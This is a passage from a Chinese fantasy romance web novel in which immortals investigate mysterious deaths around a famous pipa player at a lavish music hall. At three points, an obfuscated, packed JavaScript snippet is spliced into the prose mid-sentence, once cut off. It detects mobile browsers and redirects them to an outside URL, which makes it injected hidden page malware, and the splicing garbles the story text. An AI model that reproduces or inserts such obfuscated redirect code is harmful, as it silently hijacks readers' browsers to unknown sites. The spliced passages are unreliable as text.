“然而柳滢容却拒绝了所有人的邀请,称自己不喜交际,但愿意以乐会友,遂决定每两月在乐楼中设一场私宴,席间会为赴宴者单独演奏三首曲目。醉烟楼称为公平起见,此私宴需进行拍卖,价高者得,中宴者最多可邀请五 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颜故摇头:“那原东家得了一笔丰厚的转让费用后并未离去,仍居住在承安郡,不太像怕事情败露而远避他乡的模样。” “既如此,目前最可疑的,便是这一年前突然出现的柳滢容了。”青晏眉头紧锁,“可她一介凡人,是如何做到这一切的呢?” “不是被其他凡人所杀、也没有被吸取福运、身旁也没有任何法力波动的迹象……”明煦一根根地掰着指头。忽然她灵机一动,往青晏跟前边凑边道,“说不准柳滢容只是个假身份,真实的她是个法力极为高强的妖怪或魔头,甚至比你法力还要高,又恰好知道怎么隐匿自己的气息,所以一直在承安郡内兴风作浪……” “嗯,不是没有可能。” 唐禾抿了抿嘴:“无论如何,这个柳滢容就算真的只是凡人,她的身份也绝对不会简单。” 明煦奇道:“为什么呀?” “因为……”唐禾斟酌了一会儿措辞,“能承担得起她出演场次票价的人均非富即贵,而富家子弟嘛,脾气好的也就罢了,但凡有一个够混的使出些下作手段,只有美貌和琴艺的柳滢容很难随心所欲,说不爱交际便不交际,更别提立下种种规矩了。若是惹急了这些人,丢了性命也有可能。但人家如今不但活得好好的,甚至也无人能改动她的规矩,足以证明要么她自己就是个厉害的人,要么她背后有个厉害的人。” “可以呀小唐,”明煦欣喜地夸赞道,“你这人情世故分析得相当不错啊!” 唐禾不好意思地笑了笑:“我毕竟是从人界一点点修上来的,见得多了便懂一点。” 明煦琢磨道:“那天对桌的人说什么这醉烟楼的新东家可能是王公贵族?不会是这柳滢容与那王公贵族有什么情感纠葛,结果被伤透了心,所以千里迢迢逃到承安郡吧?” 14. 入局 她那边还在脑补虐恋情深,这边颜故提出了一个新的猜测:“若柳滢容是个货真价实的凡人,那也有可能是她身边有什么东西在利用她能吸引来的人达到自己的目的。毕竟柳滢容出演的场次票价高昂,私宴席位更是极为珍贵,如果有什么人想通过杀死这些特定的富贵之人获得特定的效果,以这样一个绝色乐师作自己的掩护,便再合适不过。” 青晏抬眼看了他一会儿,忽地露出一个有几分轻快的笑:“我方才也是这么想的,甚至觉得,若真有这样一个人存在,柳滢容很有可能并非是唯一的掩护,这几百个异常死亡说不定都能与他有所关联。” 明煦接着这个想法道:“哎,我忽然想到,柳滢容要真如传闻里长得那么好看,那即便不是凡人也会动心的吧?说不准就有哪个法力高强到连青晏都探查不到的大妖怪或者大魔头的看上了柳滢容,但因身份特殊二人无法在一起,所以就一直在她身边默默守护,除掉一些曾对她心怀不轨之人,又或者是醋意大发,誓要除掉一切与她有过私下接触的男人。而这妖怪或魔头花心得很,在这之前说不准也看上过其他的女孩子,所以前前后后才出现了这么多异常死亡……” 她按照自己曾看过的话本天马行空地幻想了一番,却没想到其余三人面色严肃,似是在认真考虑着这种可能。见如此,明煦不禁抚着胸口小声嘀咕道:“不会吧,不会真的被我说准了吧。” 颜故笑笑,学着刚才青晏的样子道:“不是没有可能。” 青晏斜了他一眼。 “那我们接下来该怎么办呢?”唐禾问道。 “既然改名为仙音阁的醉烟楼明日重新开业,我觉得我们不妨去那里见一见柳滢容,然后想办法赴上一场私宴,再表达一下自己对她的爱慕之情。”颜故面上带着淡淡的笑意,“届时来杀我们的究竟是什么东西,岂不一见既明?” “哇颜故,你可真够野的。”明煦稀奇地端详着他,“但万一这场私宴里被选中去杀的是你或者小唐,然后来的就是个修为很高的大妖或者魔头怎么办,岂不是把你俩搭进去了?” “就算真的打不过,逃命的本事还是有的。况且,”颜故对青晏虚攥了两下掌心,眯眼一笑,“这不是还有仙子无时无刻的庇佑吗?” 颜故神色极为轻松,似是对可能遇见大妖或魔头这件事完全不在意,甚至还有些隐隐的期待。青晏不禁想起自己初次随着师父下界历练时,似乎也是这样对一切都跃跃欲试,充满活力的模样。 念及此,青晏唇边现出一抹浅笑:“那便这么定了。但此事毕竟过于古怪,我们目前全然不知对方是谁,又有什么手段。稳妥起见,还是不要本人去冒险得好。” 有四团不断跃动着的光芒分别出现在他们面前。青晏解释道:“这是未赋形的幻灵,只需注入一成灵力,便能和你五感相连,我们随时可以同步感受幻灵的一切所见所闻。并且即便这些幻灵不幸遭受损害,最严重的后果也不过是消散而已,绝不会波及我们自己。明日派他们前去乐楼查探,再合适不过了。” “这东西好,简直就和看戏一样,”明煦一边向光芒中注入灵力,一边扭头对青晏道,“说起来你之前还答应带我去看戏呢,这事儿了结了之后可一定记得去啊。” “我们能操控幻灵吗?”颜故看着面前已经逐渐现出轮廓的另一个“自己”,“若是遇见什么突发状况,可以使用法术吗?” “有你的一成法力在,简单的法术没问题。”青晏的声音在对面响起。 颜故循声望去,与青晏长得一模一样的幻灵正冲他微笑:“操控当然也可以。” 唐禾眼睛亮亮的:“仙子,日后您若有空的话,这法术可以教教我吗?” “可以,这法术上手比较容易,但若要达到即时同步所有感受还是很难的,需要刻苦练习,以及那么一点点天赋。” “希望我……能有这个天赋。”唐禾低下头,露出有些发红的耳廓。 颜故平静地收回自己的目光,面上也没什么表情,只是眉宇间多了几分若有所思。 见四人的幻灵均已赋形完毕,青晏道:“好了,早些休息吧,明天还不知道会是什么阵仗呢。” 她将已赋形完毕的幻灵收了起来:“屋子里有这么几个人一直盯着也怪可怕的,明日去乐楼时再叫他们出来也不迟。” “仙子您……真的好贴心。”唐禾小声道。 “我自己便被这么吓到过,自然不能让你们也感受一遍。”青晏笑笑,转身离开了悠然居。 瑶台阁离得很近,所以青晏的身影很快便消失在唐禾视野中,然而他却依然沉醉在青晏无意间洒下来的温柔与关怀里。 唐禾立在悠然居离门不远的地方喃喃低语,也不知是在问颜故,还是在问自己:“我们怎么会……怎么会遇见这么好的仙子呢?” 或许是唐禾的声音太小,这个问题似乎并没有递到颜故耳边。 他只是安静地立在原地,垂着眼帘,一言不发。 -------------- 天亮后,青晏放出了那四个幻灵,又将他们变幻了外貌,化作四个看起来有点贵气俊朗的公子模样,朝着仙音阁的方向行去。 与此同时,她再次来到了悠然居,仔细地在房间里里外外都设好了防护结界,以防那隐匿在暗处的未知危险识破幻灵后对他们展开突然袭击。 明煦则是带着颜故和唐禾在附近转了个遍,回来的时候每个人都带着一大堆吃的喝的,弄得桌子上都快摆不下了。 她一边努力地将两包炙猪皮肉往羊肉贴饼子上摞,一边道:“有了这幻灵在,咱们几个就当是近距离看了一出戏,看戏怎么能没有些吃食?平日里看戏要讲究礼仪,也就能喝喝茶吃吃茶点什么的,如今就咱们几个人,那还不是想吃什么便吃什么?” 青晏摸了摸尚在自己身上的荷包:“你哪来的……” “噢,颜故有钱嘛,我让他记我账上,回去一起还。” “东记一笔西记一笔的,等回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988140|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪里还记得清,”青晏刚要将荷包拿出来,却见颜故轻轻对她摇了摇头。 他唇边笑意的弧度柔和极了:“这点微不足道的花销,仙子也要与我算清吗?” 青晏望着桌子上堆了好几层的各类吃食:“这哪里叫微不足……” 颜故没有等她说完:“这样会不会……感觉有些生分呢?” 他的声音同往日一样清亮温和,语调里却多了一丝平时听不到的委屈。青晏闻言有些惊讶地转头看去,眼中却毫无防备地撞进了一个她之前从未见过的颜故。 这人眼尾的弧度本就比常人更垂一点,平日里看着就已经有些勾魂夺魄的意味,如今又正垂眸敛眉,活脱脱一副楚楚可怜的落寞神态,看得她不禁呼吸一滞。 不过她很快便眨了眨眼,镇定道:“不是生分的意思,只是觉得不应该让你们花钱。” “可我真的很有钱,”颜故的眼神极为真挚,“更何况我已成仙,凡世钱财不在此刻用一用,又能在什么地方派上什么用场呢?仙子若还在意……”他笑了起来,“回天界的时候便送我几根初三掉的胡须吧,想来能比凡间的带来更多幸运。” 明煦“扑哧”一声笑道:“你可真是挑礼物的一把好手。” 青晏有些哭笑不得地摇了摇头:“回去我就把之前偶然捡到的送给你。” “那真是再好不过。”颜故笑眯眯地。 明煦立即捧场:“那就谢过颜公子慷慨解囊啦!” 颜故依旧笑眼弯弯:“花就是了,用不完的。” 明煦冲颜故“嘿嘿”笑了两声,转头在桌上翻找了起来。片刻后她热情洋溢地向青晏递去一个之前她和唐禾一起吃过的那家的包子,盛情邀请道:“快尝尝,可好吃了。不好买呢,得一大早下去排队,卖完就没有了。” 青晏怀疑地接过包子:“你今天……早起了?” “嗯……也不算吧,虽然起得是比你早点儿,但我下去的时候包子早没了,这是小唐特意早早下去买的,大家都有份儿。”她又给颜故递过去一个,“喏。” 颜故看了一眼正在乐呵呵傻笑着的唐禾,伸手将包子接了过来,感受着它依然灼热的温度。 现下已是中午,可这一大早起床买来的包子却居然还能冒着热气,一看便知道是用了持续保温的法术。 他低头缓缓咬了一口,心下涌起一股莫名的情绪。 昨日还在感慨仙子怎么那么贴心,结果今日轮到自己的时候不是也很贴心? 颜故面上浮起一个标准的微笑,和青晏一起向唐禾道谢,感谢他不辞辛苦,一大早便起床买到了这么好吃的包子。唐禾笑得更灿烂了,连连道自己平时就早起惯了,这实在算不得什么,只要大家能吃上好吃的他就开心。 “哎,”明煦突然道,“咱们的幻灵都出去这么久了,是不是也该快到醉烟楼了?” 青晏略一凝神,给出了肯定的答案,随即他们几人便正襟危坐,开始专心将自己的五感与幻灵相连。 15. 仙音阁 他们的幻灵刚走到东街口,街上人群便已将前路堵得水泄不通,需要使劲踮起脚尖眺望,才能看到远处那幢四檐高翘,雕花翻飞的精雅小楼。 明煦对青晏小声抱怨道:“牌匾上的红绸子还挂着呢,连门都没开,也不知道在这围着有什么用。” “许是想早些进门占个好位置吧。”青晏已经许久没见过如此密集的人群了,如今眼前不觉有些发晕。 此时旁边一个大嗓门汉子突然赞叹道:“嚯!这醉烟楼!看来真是换了个大东家啊,还没见到楼里面呢,光看外面都已经要比原来气派不少啊!” 唐禾扭头打听道:“这位大哥,我们是外地人,没见过之前的醉烟楼,能不能讲讲具体是怎么个更气派法呀?” “你看看,这楼外面都重新雕花啦!原来的年头多了有点发旧,现在的可新鲜着呢。嘶,瞧着似乎还描了金?哎呀,那这一翻新进门费不得更贵了?以后咱小老百姓可再去不起这家了!” 旁边一个驼背老汉对他嘿嘿一乐:“说得像你之前去得起一样?” 那大嗓门汉子也不恼:“没涨价之前如果平时多攒攒还是能去的,我娘子爱听这些,过生辰的时候什么好吃的好玩的都不要,就爱去乐楼听上几曲,那我能有什么办法?” 颜故侧过头来:“什么时候涨的价?” “自然是柳姑娘登台之后,”那汉子伸出手来比划着,“打那之后,这家乐楼没有柳姑娘的场次,进门费都要翻上三倍;有柳姑娘的,那更得翻上十倍不止。” 明煦眼睛瞪得溜圆:“就这么好听?” “我是没钱去听,”大嗓门汉子随着人群缓缓向前挪动着,“但想来应该是好听得紧。而且据说那柳姑娘貌若天仙,好看得不要命,不然哪会有这么多公子哥儿往乐楼里哐哐砸银子,那不就是为了想单独跟柳姑娘见面吗?不过据我所知应该是没见上。” 唐禾凑过来:“为什么呀?” “说起来还有一乐呢,”那汉子一哂,“忘了是哪家的少爷了,非说自己得了相思病,得单独见上柳姑娘一面才能好,结果他们家小厮捧着银子在乐楼门口站了一天都没人搭理他,那少爷还被城里其他公子哥大骂一顿,说连我们都没能单独见上柳姑娘,你算老几,也配得相思病?结果这么一闹,那少爷的相思病自己就好了。嘿!要我说啊,就是这帮少爷太闲了,非得搞出这么一笑话来,这日子才算有过头。” “再说了,这追姑娘,哪有这么追的?提着袋银子往门口一杵,以为是买酒买菜买猪肉呢?追寻常姑娘都得雅着来,更别提那名声在外的柳姑娘了!这毛头小子,唉。”大嗓门汉子边说边摇头。 驼背老头挤过来:“你才是毛头小子,看不透!那柳滢容要是不想见面,直接叫人回去不就完了,何苦让人家在那站一天等答复,这不纯粹磋磨人呢吗?她就是爱看人受罪!平时她不也是没什么笑模样,只有看见那些公子哥为她砸银子,甚至拌嘴动手的时候才笑吗?” 大嗓门汉子不以为意:“美人都得有脾气嘛,这很正常,我娘子没嫁给我之前也是十里八庄那些姑娘里脾气最大的呢!” 驼背老汉还想说点什么,却被骤然响起的敲锣声打断。 众人抬眼望去,只见眼前的大门应声而开,从内走出一名中等身材的男子,面相极为和善。他对着人群拱了拱手,朗声道:“在下莫文才,是这家乐楼的新东家。原先此处的醉烟楼已更名为仙音阁,今日挂牌开业。感谢诸位不顾风尘仆仆莅临此地,共赏雅乐之声。” 他话锋一转:“然而,为了提升诸位听曲体验,楼内布局已然调整,座位相对从前有所减少。今日又是仙音阁头次开门,为了确保每一位雅士都能有最佳的体验,故今日之会,仅限获邀贵宾入内。未获邀的朋友若不嫌弃,他日前来,吾必热情相迎!” 言毕,他大手一挥,直接将末端系成大花的红绸子从牌匾上扯下,随即乐呵呵地站在门口,伸手接过那些衣着华贵之人手中的请帖。 门口的百姓似是早就料到会是此番光景,并没太大反应,只顾着伸头往仙音阁内看,却只能看见一扇巨大的屏风沉默地矗立在门口,将屋内铺设挡了个严严实实。 那大嗓门汉子用力挤过来一瞧,嘴巴立刻张得老大,连话都说不利索了:“我滴个乖乖,这,这仙音阁到底换了个什么东家,真是有钱没地方花了不成?” 那是座紫檀的五面屏风,每面分别用各色玉石镶嵌出古琴、琵琶、笙、箫、箜篌这五种乐器的图案,每一件乐器上都极尽所能地堆满了繁复装饰。 古琴表面描金嵌贝,贝玉相映显得格外华丽;箜篌下垂的丝穗则是用珍珠制成,光泽柔和更添一抹雅致;正中间的琵琶更是别出心裁地将嵌满了各色玉石螺钿的背面展露在前,璀璨夺目,华丽至极,任谁都忍不住想多看两眼。 “哎呀李兄,”一道熟悉的声音钻入青晏耳中,“我就说这仙音阁的新东家怕是什么王公贵族吧,你看看,光门口这屏风,就能把小弟的全部家业买上十遍啦!” 青晏回头一看,不远处站着的果然是那日郭记酒肆里,在自己对桌称兄道弟的刘、李二位掌柜,此时那刘掌柜的手中的请帖还大剌剌地露着,足叫人看去了个十成十。 青晏默默将手伸进怀中,刚要依样幻四张请帖出来,一只骨节分明的手便将透着淡淡墨香的请帖递至她眼前。 颜故对她眨了眨眼,又将另外两张发给明煦和唐禾。 待那位儒雅掌柜莫文才从他们手中接过请帖时,青晏看了他一眼,突然开口道:“你们东家什么时候来?” 莫文才面色丝毫未改,仍带着那副温和的微笑:“这位公子,莫不是刚才风大没太听清?在下就是这仙音阁的东家呀。” 青晏点点头,没再继续追问。 此时刘、李二位掌柜也走了上来,对着那紫檀屏风好一阵端详,青晏几人都已经入座了他们才慢悠悠地挪腾过来,一路上又将这仙音阁的各处改动聊了个遍:什么乐台足有原来的两倍大,窗户上的窗纱变成了明瓦,墙上山水画换成了当世大家的名作,乐台栏杆顶上多加了玉饰,就连花盆都从青釉换成了桃花泥,里面还种着绿玉牡丹。 明煦见众人的注意力都随着那二人的点评满屋子转来转去,遂小声对青晏问道:“你刚才为什么觉得莫文才不是真正的东家啊?” “瞧着神态不对,随便诈一诈,”青晏笑笑,“现在我知道他确实不是了。” “为什么?” 青晏没有回答,反而对她问道:“明公子怎么没来,你没叫他吗?” 明煦眉头一皱,迷茫地半张着嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988141|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“啊……?” 随即她反应过来,激动地小声道:“对啊,刚才莫文才脸上一点变化都没有,完全不奇怪你为什么会这么问,正常人被当面质疑身份怎么会是这个反应呢?看来他心里早就有数!” 颜故若有所思:“虽然说目前仙音阁内毫无异常气息,但楼内装潢骤然豪华,真正的店主又神秘莫测不肯露面,看来这乐楼,确实有些蹊跷。” 青晏环顾四周,见所有桌前所坐之人均绫罗满身,头上脂玉冠、手中象牙扇、腰间金丝绦、脚蹬乌缎靴,不禁感慨如今的仙音阁确如那大嗓门汉子所言一样,再也不是平民百姓能够去得起的地方了。 此时莫文才登上乐台,对着台下众人再一拱手:“蒙诸位雅士鼎力支持,仙音阁感激不尽。在下深知各位皆因柳乐师一手绝妙琵琶技艺而来,柳乐师也非常感激大家的青睐,所以特此编排了一部新曲,目前尚在精心筹备之中。此外,仙音阁亦特邀了多位乐艺高手共襄盛举,请大家稍坐片刻,精彩演出马上开始。” “柳姑娘造诣深厚,自是不能随意登场,我等有这个耐心。”他们斜对桌的儒雅男子摇了摇手中的象牙销金扇。 莫文才深深鞠躬后退至台下,三位穿得极为素净的姑娘带着琴、瑟及箜篌上台来。瞧几人面容不过是十八九的年纪,调弦的手法和神态却极为老练自然。 忽地一声悠柔琴响于满堂飘荡,音韵清圆绵长,琴音散泛交错,余音袅袅,似有似无,乃是古琴独奏。 两段后,坐在瑟前的姑娘信手一拨,指尖数下勾挑,瑟声极为自然地与琴音融为一体,和谐共鸣宛若鸳鸯交颈,情深意切,相奏相合,直教台下众人神思漫漫,身心俱忘,迷醉浮沉。 及至乐曲中段,琴瑟声音愈发干脆明快,箜篌之音亦加入其中,其音清丽如潺潺流水,飘逸灵动堪比雨后竹林,生机勃勃,闻之忘忧。一时间众弦齐鸣,错落有致,韵律和谐,音符纷飞如瀑。 几息后,众乐渐柔渐稀,几声琴声呜咽后,终至寂静无声,唯余一缕音韵,如轻烟袅袅,晨雾缭绕,久久不散。 直到那三位姑娘起身福了福,台下众人方回过神来此曲已然结束,纷纷赞叹起来。 “莫先生,你这请来的究竟是何方神圣?我之前竟从未听过如此精妙的技艺!”一人忍不住发问。 莫文才面上仍挂着那副斯斯文文的笑容:“在下自幼钟情于音律,这些年走南闯北也认识了不少艺林高手。这三位姑娘,乃当朝琴圣林逸风、瑟仙伍鸿远、箜篌夫人江碧落的三位亲传弟子。大家若是喜欢今日的表演,莫某愿代表三位大师,先行致谢。” “我就说此等技艺绝非凡人可比,果然是师出名门,我等今日真是大饱耳福啊!”发问之人抚掌大笑,身旁之人也纷纷赞同。 莫文才面上含笑,静静站在台下,耐心等待众人议论赞叹之声渐渐低下去。待厅堂内重归宁静后,他才缓缓启唇道:“今日其他登台献艺者,也都是各个领域的翘楚,请诸位拭目以待。” 言毕,他隐于黑暗之中。少顷,又有人登台演奏,满堂里重新漫起丝竹之声。青晏无心再听,遂分出一缕神念凝聚成形,奔着二楼就去了。 可没想到刚行至楼梯转角,便见到另一个道神念已伫立于二楼梯口之处,此时正笑眯眯地低头望着她。 16. 私语 坐在客栈里的青晏向两边看了看,见明煦与唐禾均是一副仍沉浸在乐曲中的样子,便没说什么,思绪转回到了自己在乐楼的那一缕神念中。 她的神念登上台阶:“等了多久了?” “也就几句话的功夫,”颜故的神念笑吟吟地让出路来,“曲子一停,我便来等着了。” 青晏侧目:“你怎么知道我会来?” “心中有着重重疑惑,即便曲子再好,又怎么能坐得住呢?”颜故指了指身旁的两扇门,“这两个房间里的人我已看过,观其样貌姿态,应都不是柳滢容。” 青晏轻笑一声:“你又是如何知道?” 颜故神色端正:“我并非是以这些女子的容貌做评判,而是传言中的柳滢容姿态孤高,气质冷绝,但刚才这两间房内的姑娘们彼此之间却多有谈笑,十分活泼,无一人与传闻相符。” 青晏点点头,对着乐楼内其余的房间凝神一探,却不禁微微皱了皱眉。颜故见其神色有异,问道:“怎么了?” “我探到一个疑似柳滢容的人,她身边还有一个男子。”青晏言简意赅道。 她转身上了三楼,颜故紧随其后,转瞬间二人便穿过一扇不起眼的房门,踏入了一间弥漫着淡淡茶香的屋子中。 不料刚一进门,一道清凉如水的女子声音便在他们耳畔骤然响起:“你们不该来的。” 颜故手中瞬间现出长剑,青晏忙按住他:“是对别人说的,她没看见我们。” 颜故顺着她的眼神望去,一金冠紫袍的年轻男子耷拉着脑袋坐在桌前,手中不断地转着茶杯,茶汤随着他的动作在杯沿泛起阵阵涟漪:“怎么又是这句话。我想你了,不能来吗?这次见面我还特意选了一个偏僻的屋子呢,没有人会看见我的。” 立于窗边的女子转过头来。 只一瞥,便足够让人确信,这便是那传说中孤傲清冷,貌若天仙的柳滢容。 她美得有些失真,仿佛高悬在夜空中的月亮透着窗缝漫了进来,带着些丝丝凉意。柳滢容双手抱臂随意倚靠在窗边,听见那年轻男子的话后启了启唇似是想说些什么,但见他一脸委屈,便没再言语。 那男子见她没作声,面色稍亮了些,又道:“我不来也行,你可以跟我回去。这乐楼如今有老莫管了,只会比原来经营得更好。” 柳滢容闻言低笑一声:“是吗?我以什么身份和你走呢?” “你,你我婚约未曾作废……” “我父亲已然认罪,族中官员皆被革职,家产尽数抄没,一家老少也全部流放,若不是你暗中相救,我早已死在流放路上了。这种情形,我们的婚约还需要去专门作废吗?”她的语调并没有什么起伏,但那年轻男子却仿佛被这一字一句中透着的彻骨寒意穿了个透心凉,只得满脸不忍地偏过头去。 柳滢容走到他面前坐下,叹了口气:“我没有别的意思,我父亲身负贪墨、僭越等诸多大罪,又牵扯巫蛊一案,如今结局已是圣上开恩,我本就心无怨怼。” “况且你皇兄是你皇兄,你是你,你我儿时情谊在先,设法营救在后,我无论如何对你都……”她的声音渐渐低下去。 年轻男子的目光随着她的话骤然亮起,柳滢容却并未抬眼看他。她微蹙着眉,轻声道:“但我已不是丞相嫡女,而你……应该也已经接到新的齐王妃人选旨意了吧。” “我不想娶!”被唤作齐王的年轻男子重重地甩了下头,“我也不会娶,那个礼部尚书家的姑娘我已经跟皇兄回绝掉了!我从小就……我从来都只喜欢你一个!” 柳滢容凄然一笑:“不是她,也还会有别人。你皇兄再疼爱你,也不会放任你一直不娶妻,更何况我们已经不可能了。即便有神医能改变我的容貌让我以另一个身份出现,皇上也绝不会允许一个来路不明的人去做你的王妃。” 齐王倔强地坚持道:“你说的这些我明白。但我想着,等这事情过去几年再向皇兄好好求求情,让他赦免了你,再给你换个身份,体弱多病的就行。这样宫里的宴会也好,平日里诰命夫人们的拜见也好,就都不必理会了。皇兄毕竟和我一母同胞,不会太为难我的,而且你父亲做下的事情,和你一个闺阁女儿有什么关系呢?若是皇兄执意不肯,我这齐王不做也罢!平头百姓的日子我也能过!” “荒唐!”柳滢容轻斥,“且不说你从小锦衣玉食能不能受得了普通人的粗茶淡饭,要是不做这个齐王,调理你身体的名贵药材从哪来?一到冬天又要咳咳咳,变成肺痨了可怎么是好?” 齐王梗着脖子:“我不怕!” “你不怕我怕!”柳滢容瞪他一眼,“你设身处地为皇上和太后想一想,自己从小到大疼爱的弟弟或儿子为一个罪臣之女放弃一切,他们会有多伤心?对我又会有多愤怒?我还能有半分活路吗?怕是你提出来的第二天我就已经命丧黄泉了。届时我的亲人、族人又会不会因为天子震怒而再受牵连呢?” “我一定会在提出前准备好一切,不会那么莽撞的!”齐王语调急切,“就像你之前问我能不能为你父亲求求情,好保下他的性命时,我就没有这么做啊,因为那个时候皇兄正在气头上,越劝越要命的!不过好在当初是定的秋后问斩,我这才能有时间慢慢周旋。你父亲虽死罪绝无可赦,但我如今已劝说皇兄延后执行,说这样可以继续从他口中问出朝廷的其他贪官罪官,皇兄同意了!你父亲现在还活着!” 柳滢容一把抓住他的袖子,眼睛亮得吓人:“真的?” “真的!” 她缓缓松开齐王的袖子,一边笑,一边慢慢盈起泪来,清绝的面庞上仿佛笼罩了一层云雾。 半晌后柳滢容深吸一口气,抬手拭去了眼角的泪滴,语带哽咽道:“我实在不知该如何谢你。” 齐王看起来心如刀绞,前倾着身子想去握她的手,最终却还是捏紧了拳头收回。 他抿了抿嘴,用哄孩子一般的语气对柳滢容道:“所以你看,事情总会有转机的,说不定我再努努力,能让皇兄赦免了你父亲的死罪呢。不管拘禁在哪儿,也总比死了好,对吧。” “至于我们的事,我会一直想办法的,虽然不知道多久之后才能成功。”齐王喉头梗了梗,艰难地继续道,“我知女子年华宝贵,你若等不下去了,或是,或是遇见了什么其他很好的人,我……我也没关系。” 他语意真切:“但我还是希望你能过得好些,所以不想让你继续待在这乐楼里。你若信得过我,便还是先离开这儿,让我给你安排一个好去处,可以一直安稳到老,做一个快乐的小老太太,好不好?” “傻子,”柳滢容眉眼柔和,“记性怎么愈发不好了,如今这身份是我自己选的,你忘了?” “我知道你和你娘一样热爱音律,只是从前没什么机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你放心。”齐王目光灼灼,“那是你的父亲,我一定尽最大的努力。” 柳滢容笑着站起来:“时辰快到了,我先行一步下去准备,你等下去雅室听吧,那里肃静些,别人也看不到你。” 齐王赶忙起身为她打开门,面上笑容灿烂:“雅室不就在二楼吗?咱们顺路呀,不如一起下去吧。” 柳滢容低头浅笑应允,随即迈过门槛,与齐王一起静悄悄地下了楼,房间内仅余沉默地震惊着的青晏与颜故二人。 片刻后颜故叹了口气,感慨道:“虽然早就觉得这柳滢容绝非寻常乐师,但没想到她竟曾有过那样显赫的身份。落差如此之大,实属造化弄人。不过由此经历可见,她倒确实像个凡人。既如此,那些异常死亡她极有可能并不知情,是隐藏在她身边之人所为。” 青晏微拧着眉琢磨了一阵;“目前这乐楼里,乃至整条东街,都没有任何异常气息,看来此人是个隐匿自身的高手。听柳滢容与齐王刚才的对话,他们口中的那位老莫、莫先生,应该就是如今仙音阁所谓的新东家莫文才,而此人当初应该是齐王为了保护柳滢容特意留在承安郡的,这一年来都待在柳滢容身边,所以才能为她教训那些曾经冒犯过她的人。” “难道这莫文才便是那个神秘的幕后黑手?”颜故偏过头来,“只是不知此为何他的身份突然在此时由暗转明,成了这乐楼明面上的新东家。” “看来需要查一查这莫文才了。”青晏燃了一道符传信给温隐,“先看看温隐那边有没有什么记录,其余的,我们等下自行查探。” 颜故点点头,伸手拉开房门,笑道:“那,如今我们也顺路了,不妨一起下楼?” 青晏匪夷所思地打量了他两眼,心中不免觉得有些好笑。但她最终还是没说什么,只是摇了摇头,与颜故一同离去。 17. 神妃仙子 待青晏与颜故散去神念,思绪重新回到位于一楼大堂的幻灵上时,明煦和唐禾仍在津津有味地看着表演,乐台上的人也已经换成了几个舞姿翩翩的男子,一舞结束后台下喝彩声依旧。 及又过了两个节目后,一群侍女鱼贯而入,纷纷将厅堂中的烛火一一熄灭,屋子里顿时昏暗无比,只余下朦胧的光影。 忽然一声筝鸣,将众人的视线再度引至台上,却只见到一扇半透屏风上影影绰绰透出来的人影。 屏风后烛光摇曳,映得筝上双手起伏舒展,柔美如画,阵阵筝声也极为柔婉悠扬,仿若一叶轻舟穿过缥缈烟云,朝着漫漫天地行进。 待古筝弹奏片刻后,乐台上又亮起另一道烛火,这一扇半透屏风后站着一个手持笛子的男子,其笛音飘逸空灵,宛若风过竹海,直上云霄,令人心神一荡。 此后,便是一道又一道烛火接连亮起,一扇又一扇屏风上映出数位正弹奏着各种不同乐器的人来,八座屏风分置乐台两端,齐齐相对而立,唯独中央留出了一片空旷之地。 柳滢容的身影就是这个时候出现在那片空旷中央的。 她身着一众彩绣辉煌的衣衫,乌黑发髻上赤金首饰光芒耀眼夺目,面上也戴着缀了珍珠的鎏金流苏面帘。 然而这一身华贵的打扮在她那双如雪原般清冷的眼眸映衬下,却让她整个人散发出一股神妃仙子降临凡尘般的熠熠华光来,璀璨逼人,不可直视。 见她出场,众人虽心潮如涌难以自抑,却也不敢放声高呼,只得眼神灼热地盯着乐台,最激动的人也不过是将双手紧紧握在了一起。 想来是柳滢容规矩严苛,如有大声喧哗者必遭驱逐,今日又是乐楼重新装潢后开业的第一天,门外依旧围着不少看客,若是此时被赶出去,想来要比平日里更加难堪上十倍。 柳滢容往台下扫了一眼,纤手在琵琶上虚虚一晃,紧接着数阵恢弘大鼓声在鼓影屏风后隆隆乍起,满堂震响。 几声清脆的鼓棒敲击声之后,柳滢容皓腕在琴身上用力一拨,铮铮弦音于四条弦索上猛地爆裂开来,如箭在弦上疾射,在堂内不断激昂盘桓着。 片刻后清越笛声再度前来相伴,琵琶弦音也逐渐变得活泼恣意,宛若万马出关奔腾,叫人心中畅快至极。柳滢容微闭着眼,手指在弦上不断轻盈跃动,全然一片惬意模样。 忽地鼓声再一响,弦音立刻变得急促铿锵,直压得人喘不过气,只能瞪大双眼,满心惊惧地被密不透风的音符层层包围。也不知过了多久,一股苍凉的尺八乐音从屏风后传出,仿佛秋深叶落,将那琵琶之音显得更加哀戚。 台下众人本正细细品着这份凄婉悲怆,突然乐声戛然而止,继而琵琶之声如狂风骤雨般癫狂爆发,让人头痛欲裂。柳滢容的指尖在弦上急速飞舞,似幻影般让人难以看清。 又过了半晌,琵琶曲调逐渐平和下来,其音清磬如淙淙流水叮咚作响,却不知为何总有一股深入骨髓的凉意在耳畔打转。 几息过后,柳滢容伴着琵琶诉出的弦音低低吟唱起来。 